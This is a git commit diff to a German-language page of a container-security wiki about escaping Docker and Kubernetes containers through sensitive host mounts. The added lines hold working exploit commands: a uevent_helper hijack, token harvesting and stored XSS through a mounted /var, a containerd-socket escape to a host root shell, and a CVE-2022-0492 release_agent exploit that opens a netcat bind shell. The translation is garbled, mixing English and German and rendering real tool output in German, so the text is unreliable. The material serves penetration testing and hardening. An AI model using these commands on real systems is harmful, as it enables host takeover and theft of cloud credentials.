Translated ['src/linux-hardening/privilege-escalation/docker-security/do

2025-10-10 18:36:50 +00:00 · 2025-07-11 02:43:06 +00:00 · 2025-07-11 02:43:06 +00:00 · 4c8a8f61bf
commit 4c8a8f61bf
parent 09af3cfa58
1 changed files with 144 additions and 63 deletions
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -6,7 +6,7 @@ Die Offenlegung von `/proc`, `/sys` und `/var` ohne angemessene Namensraum-Isoli

 **Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**

-## procfs Schwachstellen
+## procfs Vulnerabilities

 ### `/proc/sys`

@ -16,7 +16,7 @@ Dieses Verzeichnis erlaubt den Zugriff zur Modifikation von Kernel-Variablen, no

 - Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
 - Wenn Sie in diese Datei schreiben können, ist es möglich, eine Pipe `|` gefolgt von dem Pfad zu einem Programm oder Skript zu schreiben, das nach einem Absturz ausgeführt wird.
- Ein Angreifer kann den Pfad innerhalb des Hosts zu seinem Container ermitteln, indem er `mount` ausführt, und den Pfad zu einer Binärdatei im Dateisystem seines Containers schreiben. Dann kann er ein Programm zum Absturz bringen, um den Kernel dazu zu bringen, die Binärdatei außerhalb des Containers auszuführen.
+- Ein Angreifer kann den Pfad innerhalb des Hosts zu seinem Container ermitteln, indem er `mount` ausführt, und den Pfad zu einer Binärdatei innerhalb seines Container-Dateisystems schreiben. Dann kann er ein Programm zum Absturz bringen, um den Kernel dazu zu bringen, die Binärdatei außerhalb des Containers auszuführen.

 - **Test- und Ausbeutungsbeispiel**:
 ```bash
@ -40,7 +40,7 @@ return 0;
 #### **`/proc/sys/kernel/modprobe`**

 - Detailliert in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Enthält den Pfad zum Kernel-Modul-Lader, der zum Laden von Kernel-Modulen aufgerufen wird.
+- Enthält den Pfad zum Kernel-Modul-Loader, der zum Laden von Kernel-Modulen aufgerufen wird.
 - **Zugriffsprüfung Beispiel**:

 ```bash
@ -63,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Überprüfen des Zugriffs auf modprobe
 - Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist.
 - Relevanter Exploit und Erklärung:
 - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Ausführliches Tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
+- Detailliertes Tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

 ### Andere in `/proc`

@ -89,7 +89,7 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts
 #### **`/proc/kallsyms`**

 - Listet vom Kernel exportierte Symbole und deren Adressen auf.
- Essentiell für die Entwicklung von Kernel-Exploits, insbesondere um KASLR zu überwinden.
+- Essentiell für die Entwicklung von Kernel-Exploits, insbesondere zum Überwinden von KASLR.
 - Adressinformationen sind eingeschränkt, wenn `kptr_restrict` auf `1` oder `2` gesetzt ist.
 - Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

@ -102,7 +102,7 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts
 #### **`/proc/kcore`**

 - Stellt den physischen Speicher des Systems im ELF-Core-Format dar.
- Das Lesen kann Inhalte des Host-Systems und anderer Container offenbaren.
+- Das Lesen kann Inhalte des Hosts und anderer Container offenbaren.
 - Große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.
 - Detaillierte Nutzung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).

@ -131,81 +131,89 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts
 #### **`/sys/kernel/uevent_helper`**

 - Wird zur Handhabung von Kernel-Gerät `uevents` verwendet.
- Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
- **Beispiel für Ausnutzung**: %%%bash
+- Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
+- **Beispiel für Ausnutzung**:
+```bash

-#### Erstellt eine Payload
+#### Creates a payload

 echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

-#### Findet den Host-Pfad von OverlayFS-Mount für den Container
+#### Finds host path from OverlayFS mount for container

 host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

-#### Setzt uevent_helper auf bösartigen Helper
+#### Sets uevent_helper to malicious helper

 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

-#### Löst ein uevent aus
+#### Triggers a uevent

 echo change > /sys/class/mem/null/uevent

-#### Liest die Ausgabe
+#### Reads the output

-cat /output %%%
+cat /output
+```

 #### **`/sys/class/thermal`**

- Steuert Temperatureinstellungen, was potenziell DoS-Angriffe oder physische Schäden verursachen kann.
+- Controls temperature settings, potentially causing DoS attacks or physical damage.

 #### **`/sys/kernel/vmcoreinfo`**

- Leckt Kernel-Adressen, was KASLR gefährden kann.
+- Leaks kernel addresses, potentially compromising KASLR.

 #### **`/sys/kernel/security`**

- Beherbergt die `securityfs`-Schnittstelle, die die Konfiguration von Linux-Sicherheitsmodulen wie AppArmor ermöglicht.
- Zugriff könnte es einem Container ermöglichen, sein MAC-System zu deaktivieren.
+- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
+- Access might enable a container to disable its MAC system.

-#### **`/sys/firmware/efi/vars` und `/sys/firmware/efi/efivars`**
+#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**

- Gibt Schnittstellen für die Interaktion mit EFI-Variablen im NVRAM preis.
- Fehlkonfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen.
+- Exposes interfaces for interacting with EFI variables in NVRAM.
+- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

 #### **`/sys/kernel/debug`**

- `debugfs` bietet eine "keine Regeln"-Debugging-Schnittstelle zum Kernel.
- Geschichte von Sicherheitsproblemen aufgrund seiner uneingeschränkten Natur.
+- `debugfs` offers a "no rules" debugging interface to the kernel.
+- History of security issues due to its unrestricted nature.

-### `/var` Schwachstellen
+### `/var` Vulnerabilities

-Der **/var**-Ordner des Hosts enthält Container-Laufzeitsockets und die Dateisysteme der Container. Wenn dieser Ordner innerhalb eines Containers gemountet ist, erhält dieser Container Lese- und Schreibzugriff auf die Dateisysteme anderer Container mit Root-Rechten. Dies kann missbraucht werden, um zwischen Containern zu pivotieren, um einen Denial-of-Service zu verursachen oder um andere Container und Anwendungen, die in ihnen laufen, zu backdooren.
+The host's **/var** folder contains container runtime sockets and the containers' filesystems.
+If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
+with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
+containers and applications that run in them.

 #### Kubernetes

-Wenn ein Container wie dieser mit Kubernetes bereitgestellt wird:
+If a container like this is deployed with Kubernetes:
+
 ```yaml
-apiVersion: v1
-kind: Pod
-metadata:
-name: pod-mounts-var
-labels:
-app: pentest
-spec:
-containers:
- name: pod-mounts-var-folder
-image: alpine
-volumeMounts:
- mountPath: /host-var
-name: noderoot
-command: [ "/bin/sh", "-c", "--" ]
-args: [ "while true; do sleep 30; done;" ]
-volumes:
- name: noderoot
-hostPath:
-path: /var
+apiVersion: v1  
+kind: Pod  
+metadata:  
+  name: pod-mounts-var  
+  labels:  
+    app: pentest  
+spec:  
+  containers:  
+  - name: pod-mounts-var-folder  
+    image: alpine  
+    volumeMounts:  
+    - mountPath: /host-var  
+      name: noderoot  
+    command: [ "/bin/sh", "-c", "--" ]  
+    args: [ "while true; do sleep 30; done;" ]  
+  volumes:  
+  - name: noderoot  
+    hostPath:  
+      path: /var
 ```
-Innerhalb des **pod-mounts-var-folder** Containers:
+
+Inside the **pod-mounts-var-folder** container:
+
 ```bash
 / # find /host-var/ -type f -iname '*.env*' 2>/dev/null

@ -223,20 +231,23 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

-/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
+/ # echo '<!DOCTYPE html><html lang="de"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
 are/nginx/html/index2.html
 ```
-Die XSS wurde erreicht:
+
+The XSS was achieved:

 ![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)

-Beachten Sie, dass der Container keinen Neustart oder ähnliches benötigt. Alle Änderungen, die über den gemounteten **/var**-Ordner vorgenommen werden, werden sofort angewendet.
+Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.

-Sie können auch Konfigurationsdateien, Binärdateien, Dienste, Anwendungsdateien und Shell-Profile ersetzen, um automatisches (oder halbautomatisches) RCE zu erreichen.
+You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

-##### Zugriff auf Cloud-Anmeldeinformationen
+##### Access to cloud credentials
+
+The container can read K8s serviceaccount tokens or AWS webidentity tokens
+which allows the container to gain unauthorized access to K8s or cloud:

-Der Container kann K8s-Servicekonto-Token oder AWS-Webidentitäts-Token lesen, was dem Container unbefugten Zugriff auf K8s oder die Cloud ermöglicht:
 ```bash
 / # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
 /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
@ -245,30 +256,100 @@ Der Container kann K8s-Servicekonto-Token oder AWS-Webidentitäts-Token lesen, w
 /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
 /host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
 ```
+
 #### Docker

-Die Ausnutzung in Docker (oder in Docker Compose-Bereitstellungen) ist genau die gleiche, mit dem Unterschied, dass normalerweise die Dateisysteme der anderen Container unter einem anderen Basis-Pfad verfügbar sind:
+The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
+the other containers' filesystems are available under a different base path:
+
 ```bash
 $ docker info | grep -i 'docker root\|storage driver'
-Storage Driver: overlay2
-Docker Root Dir: /var/lib/docker
+Speicher-Treiber: overlay2
+Docker-Root-Verzeichnis: /var/lib/docker
 ```
-Die Dateisysteme befinden sich unter `/var/lib/docker/overlay2/`:
+
+So the filesystems are under `/var/lib/docker/overlay2/`:
+
 ```bash
 $ sudo ls -la /var/lib/docker/overlay2

-drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
-drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
-drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
-drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
+drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
+drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
+drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
+drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
 <SNIP>
 ```
-#### Hinweis

-Die tatsächlichen Pfade können in verschiedenen Setups abweichen, weshalb es am besten ist, den **find**-Befehl zu verwenden, um die Dateisysteme der anderen Container und SA / Web-Identitätstoken zu lokalisieren.
+#### Note

-### Referenzen
+The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
+locate the other containers' filesystems and SA / web identity tokens

+
+
+### Other Sensitive Host Sockets and Directories (2023-2025)
+
+Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
+
+```text
+/run/containerd/containerd.sock     # containerd CRI-Socket  
+/var/run/crio/crio.sock             # CRI-O Runtime-Socket  
+/run/podman/podman.sock             # Podman API (rootful oder rootless)  
+/var/run/kubelet.sock               # Kubelet API auf Kubernetes-Knoten  
+/run/firecracker-containerd.sock    # Kata / Firecracker
+```
+
+Attack example abusing a mounted **containerd** socket:
+
+```bash
+# innerhalb des Containers (Socket ist unter /host/run/containerd.sock gemountet)
+ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
+ctr --address /host/run/containerd.sock run --tty --privileged --mount \
+type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
+chroot /host /bin/bash   # vollständige Root-Shell auf dem Host
+```
+
+A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
+
+Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
+
+```bash
+# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
+mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
+
+echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # erfordert CVE-2022-0492
+
+echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
+sh -c "echo 0 > /tmp/x/cgroup.procs"  # löst das empty-cgroup-Ereignis aus
+```
+
+When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
+
+### Mount-Related Escape CVEs (2023-2025)
+
+* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
+runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
+
+```Dockerfile
+FROM scratch
+WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
+CMD ["/bin/sh"]
+```
+
+* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
+A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
+
+### Hardening Reminders (2025)
+
+1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
+2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
+3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
+4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
+
+### References
+
+- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
+- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
 - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
 - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
 - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)